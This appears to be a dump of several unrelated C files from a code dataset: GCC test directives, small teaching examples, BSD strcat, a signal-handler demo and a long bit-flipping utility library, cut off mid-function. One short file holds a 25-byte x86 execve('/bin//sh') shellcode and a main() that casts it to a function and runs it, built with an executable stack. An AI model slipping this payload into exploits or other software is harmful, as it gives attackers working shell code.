/* { dg-final { scan-tree-dump "f15: va_list escapes 0, needs to save \[148\] GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && { ! { ia32 || llp64 } } } } } } */
/* { dg-final { scan-tree-dump "f15: va_list escapes 0, needs to save \[148\] GPR units and \[1-9\]\[0-9\]* FPR units" "stdarg" { target { powerpc*-*-linux* && { powerpc_fprs && ilp32 } } } } } */
/* { dg-final { scan-tree-dump "f15: va_list escapes 0, needs to save 1 GPR units and 2 FPR units" "stdarg" { target s390*-*-linux* } } } */
/* { dg-final { scan-tree-dump "f15: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target aarch64*-*-* } } } */
/* We may be able to improve upon this after fixing PR66010/PR66013. */
/* { dg-final { scan-tree-dump "f15: va_list escapes 1, needs to save all GPR units and all FPR units" "stdarg" { target alpha*-*-linux* } } } */
/* { dg-final { scan-tree-dump-not "f15: va_list escapes 0, needs to save 0 GPR units" "stdarg" { target { { i?86-*-* x86_64-*-* } && ia32 } } } } */
/* { dg-final { scan-tree-dump-not "f15: va_list escapes 0, needs to save 0 GPR units" "stdarg" { target ia64-*-* } } } */
/* { dg-final { scan-tree-dump-not "f15: va_list escapes 0, needs to save 0 GPR units" "stdarg" { target { powerpc*-*-* && lp64 } } } } */
|
the_stack_data/151706255.c | #include <stdio.h>
char *getString()
{
char *str = "Nice test for strings";
return str;
}
int main()
{
printf("%s", getString());
getchar();
return 0;
}
/*
The above program works because:
string constants are stored in Data Section (not in Stack Section).
So, when getString returns [*str] is not lost.
*/ |
the_stack_data/175144440.c | #include <stdio.h>
#include <time.h>
int main() {
char datetime[] = "2016-08-11T12:45:22";
struct tm tm;
time_t epoch;
if (strptime(datetime, "%Y-%m-%dT%H:%M:%S", &tm) != NULL) {
epoch = mktime(&tm);
printf("Day: %d | Month: %d | Year: %d | Hour: %d | Minute: %d | Seconds: %d\n", tm.tm_mday, tm.tm_mon + 1, 1900 + tm.tm_year, tm.tm_hour - 1, tm.tm_min, tm.tm_sec);
printf("Epoch: %lld\n", (long long) epoch);
}
}
|
the_stack_data/167329614.c | /*
* Copyright (c) 1988, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: src/sys/libkern/strcat.c,v 1.6 1999/08/28 00:46:37 peter Exp $
*/
#include <string.h>
char *
strcat(s, append)
register char *s;
register const char *append;
{
char *save = s;
for (; *s; ++s);
while ((*s++ = *append++) != 0);
return(save);
}
|
the_stack_data/237644447.c | /**
* @file sigaction.c
*
* コード例9.10 sigactionの利用例
*/
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
void handler(int sig)
{
fprintf(stderr, "@");
}
int main(void)
{
struct sigaction act;
act.sa_handler = handler;
act.sa_flags = 0; // フラグは何も指定しない
sigemptyset(&act.sa_mask); // ハンドラを起動したシグナル以外はブロックしない
sigaction(SIGINT, &act, NULL);
while(1) {
sleep(1);
fprintf(stderr, ".");
}
} |
the_stack_data/49503.c | /*
* gcc -o execute_optimization_shell_code execute_optimization_shell_code.c -m32 -mpreferred-stack-boundary=2 -Wl,-z,execstack
*
* optimization shell code 25 bytes
*/
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
//"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; <= intel syntax
/* assembly codes of at&t and intel syntax are different.
* But byte codes are the same because the instructions for executing shell code are working on the same machine.
*/
void main()
{
void(*func)() = (void(*)())shellcode;
func();
}
|
the_stack_data/128978.c | #include <stdbool.h>
#include <stdio.h>
#include <math.h>
#include <inttypes.h>
// Check little or big endian
// Linux (32- or 64-bit) is probably little endian
bool endian(void)
{
// https://stackoverflow.com/questions/12791864/c-program-to-check-little-vs-big-endian
volatile uint32_t i=0x01234567;
// return 0 for big endian, 1 for little endian.
return (*((uint8_t*)(&i))) == 0x67;
}
void cffi_int32and(
const int n,
const int* a,
const int* b,
int* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] & b[elem_idx];
}
}
void cffi_int32or(
const int n,
const int* a,
const int* b,
int* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] | b[elem_idx];
}
}
void cffi_int32xor(
const int n,
const int* a,
const int* b,
int* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] ^ b[elem_idx];
}
}
void cffi_int32msbprojection(
const int n,
const int* original,
const int* perturbed,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
output[elem_idx] = original[elem_idx];
// bit_idx = 0 would be LSB on little-endian
for (int bit_idx = 31; bit_idx >= 0; bit_idx--) {
int mask = 1 << bit_idx;
int original_bit = original[elem_idx] & mask;
int perturbed_bit = perturbed[elem_idx] & mask;
if (original_bit != perturbed_bit) {
output[elem_idx] ^= mask;
break;
}
}
}
}
void cffi_int32hammingdistance(
const int n,
const int* a,
const int* b,
int* dist
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
dist[elem_idx] = 0;
int x = a[elem_idx] ^ b[elem_idx];
while(x != 0) {
x = x & (x-1);
dist[elem_idx]++;
}
}
}
void cffi_int32flip(
const int n,
const bool* mask,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
int xor_mask = 0;
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(mask[32*elem_idx + bit_idx]) {
xor_mask |= (1 << bit_idx);
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int32set(
const int n,
const bool* set1,
const bool* set0,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
int set1_mask = 0;
int set0_mask = 0;
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (set1[32*elem_idx + bit_idx]) {
set1_mask |= (1 << bit_idx);
}
if (set0[32*elem_idx + bit_idx]) {
set0_mask |= (1 << bit_idx);
}
}
int output_elem = input[elem_idx];
output_elem |= set1_mask;
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_int32setzero(
const int n,
const int m,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
int set0_mask = 0;
for (int bit_idx = 0; bit_idx <32; bit_idx ++) {
if (bit_idx < m) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
set0_mask |= (1 << bit_idx);
}
}
int output_elem = input[elem_idx];
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_int32randomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
int xor_mask = 0;
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(!protected_bits[bit_idx]) {
int input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if(rand_src[32*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int32maskedrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
int xor_mask = 0;
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(!protected_bits[bit_idx]) {
int input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if(rand_src[32*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_int32individualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
int xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(!protected_bits[bit_idx]) {
int input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[32*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[32*elem_idx + bit_idx];
}
if(rand_src[32*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int32maskedindividualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const int* input,
int* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
int xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(!protected_bits[bit_idx]) {
int input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[32*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[32*elem_idx + bit_idx];
}
if(rand_src[32*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_int32bits(
const int n,
const int* input,
bool* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
for (int bit_idx = 0; bit_idx < 32; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
int mask = 1 << bit_idx;
int masked_input = input[elem_idx] & mask;
int bit = masked_input >> bit_idx;
output[32*elem_idx + bit_idx] = bit;
}
}
}
void cffi_int16and(
const int n,
const short* a,
const short* b,
short* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] & b[elem_idx];
}
}
void cffi_int16or(
const int n,
const short* a,
const short* b,
short* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] | b[elem_idx];
}
}
void cffi_int16xor(
const int n,
const short* a,
const short* b,
short* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] ^ b[elem_idx];
}
}
void cffi_int16msbprojection(
const int n,
const short* original,
const short* perturbed,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
output[elem_idx] = original[elem_idx];
// bit_idx = 0 would be LSB on little-endian
for (int bit_idx = 15; bit_idx >= 0; bit_idx--) {
short mask = 1 << bit_idx;
short original_bit = original[elem_idx] & mask;
short perturbed_bit = perturbed[elem_idx] & mask;
if (original_bit != perturbed_bit) {
output[elem_idx] ^= mask;
break;
}
}
}
}
void cffi_int16hammingdistance(
const int n,
const short* a,
const short* b,
int* dist
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
dist[elem_idx] = 0;
short x = a[elem_idx] ^ b[elem_idx];
while(x != 0) {
x = x & (x-1);
dist[elem_idx]++;
}
}
}
void cffi_int16flip(
const int n,
const bool* mask,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
short xor_mask = 0;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(mask[16*elem_idx + bit_idx]) {
xor_mask |= (1 << bit_idx);
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int16set(
const int n,
const bool* set1,
const bool* set0,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
short set1_mask = 0;
short set0_mask = 0;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (set1[16*elem_idx + bit_idx]) {
set1_mask |= (1 << bit_idx);
}
if (set0[16*elem_idx + bit_idx]) {
set0_mask |= (1 << bit_idx);
}
}
short output_elem = input[elem_idx];
output_elem |= set1_mask;
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_int16setzero(
const int n,
const int m,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
short set0_mask = 0;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
if (bit_idx < m) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
set0_mask |= (1 << bit_idx);
}
}
short output_elem = input[elem_idx];
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_int16randomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
short xor_mask = 0;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
short input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if (rand_src[16*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int16maskedrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
short xor_mask = 0;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
short input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if (rand_src[16*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_int16individualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
short xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
short input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[16*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[16*elem_idx + bit_idx];
}
if (rand_src[16*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int16maskedindividualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const short* input,
short* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
short xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
short input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[16*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[16*elem_idx + bit_idx];
}
if (rand_src[16*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_int16bits(
const int n,
const short* input,
bool* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
for (int bit_idx = 0; bit_idx < 16; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
short mask = 1 << bit_idx;
short masked_input = input[elem_idx] & mask;
short bit = masked_input >> bit_idx;
output[16*elem_idx + bit_idx] = bit;
}
}
}
void cffi_int8and(
const int n,
const char* a,
const char* b,
char* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] & b[elem_idx];
}
}
void cffi_int8or(
const int n,
const char* a,
const char* b,
char* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] | b[elem_idx];
}
}
void cffi_int8xor(
const int n,
const char* a,
const char* b,
char* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] ^ b[elem_idx];
}
}
void cffi_int8msbprojection(
const int n,
const char* original,
const char* perturbed,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
output[elem_idx] = original[elem_idx];
// bit_idx = 0 would be LSB on little-endian
for (int bit_idx = 7; bit_idx >= 0; bit_idx--) {
char mask = 1 << bit_idx;
char original_bit = original[elem_idx] & mask;
char perturbed_bit = perturbed[elem_idx] & mask;
if (original_bit != perturbed_bit) {
output[elem_idx] ^= mask;
break;
}
}
}
}
void cffi_int8hammingdistance(
const int n,
const char* a,
const char* b,
int* dist
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
dist[elem_idx] = 0;
char x = a[elem_idx] ^ b[elem_idx];
while(x != 0) {
x = x & (x-1);
dist[elem_idx]++;
}
}
}
void cffi_int8flip(
const int n,
const bool* mask,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
char xor_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(mask[8*elem_idx + bit_idx]) {
xor_mask |= (1 << bit_idx);
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int8set(
const int n,
const bool* set1,
const bool* set0,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
char set1_mask = 0;
char set0_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (set1[8*elem_idx + bit_idx]) {
set1_mask |= (1 << bit_idx);
}
if (set0[8*elem_idx + bit_idx]) {
set0_mask |= (1 << bit_idx);
}
}
char output_elem = input[elem_idx];
output_elem |= set1_mask;
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_int8setzero(
const int n,
const int m,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
char set0_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
if (bit_idx < m) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
set0_mask |= (1 << bit_idx);
}
}
char output_elem = input[elem_idx];
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_int8randomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
char xor_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int8maskedrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
char xor_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_int8individualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
char xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[8*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[8*elem_idx + bit_idx];
}
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_int8maskedindividualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const char* input,
char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
char xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[8*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[8*elem_idx + bit_idx];
}
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_int8bits(
const int n,
const char* input,
bool* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
char mask = 1 << bit_idx;
char masked_input = input[elem_idx] & mask;
char bit = masked_input >> bit_idx;
output[8*elem_idx + bit_idx] = bit;
}
}
}
void cffi_uint8and(
const int n,
const unsigned char* a,
const unsigned char* b,
unsigned char* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] & b[elem_idx];
}
}
void cffi_uint8or(
const int n,
const unsigned char* a,
const unsigned char* b,
unsigned char* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] | b[elem_idx];
}
}
void cffi_uint8xor(
const int n,
const unsigned char* a,
const unsigned char* b,
unsigned char* c
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
c[elem_idx] = a[elem_idx] ^ b[elem_idx];
}
}
void cffi_uint8msbprojection(
const int n,
const unsigned char* original,
const unsigned char* perturbed,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
output[elem_idx] = original[elem_idx];
// bit_idx = 0 would be LSB on little-endian
for (int bit_idx = 7; bit_idx >= 0; bit_idx--) {
unsigned char mask = 1 << bit_idx;
unsigned char original_bit = original[elem_idx] & mask;
unsigned char perturbed_bit = perturbed[elem_idx] & mask;
if (original_bit != perturbed_bit) {
output[elem_idx] ^= mask;
break;
}
}
}
}
void cffi_uint8hammingdistance(
const int n,
const unsigned char* a,
const unsigned char* b,
int* dist
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
dist[elem_idx] = 0;
unsigned char x = a[elem_idx] ^ b[elem_idx];
while(x != 0) {
x = x & (x-1);
dist[elem_idx]++;
}
}
}
void cffi_uint8flip(
const int n,
const bool* mask,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
unsigned char xor_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if(mask[8*elem_idx + bit_idx]) {
xor_mask |= (1 << bit_idx);
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_uint8set(
const int n,
const bool* set1,
const bool* set0,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
unsigned char set1_mask = 0;
unsigned char set0_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (set1[8*elem_idx + bit_idx]) {
set1_mask |= (1 << bit_idx);
}
if (set0[8*elem_idx + bit_idx]) {
set0_mask |= (1 << bit_idx);
}
}
unsigned char output_elem = input[elem_idx];
output_elem |= set1_mask;
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
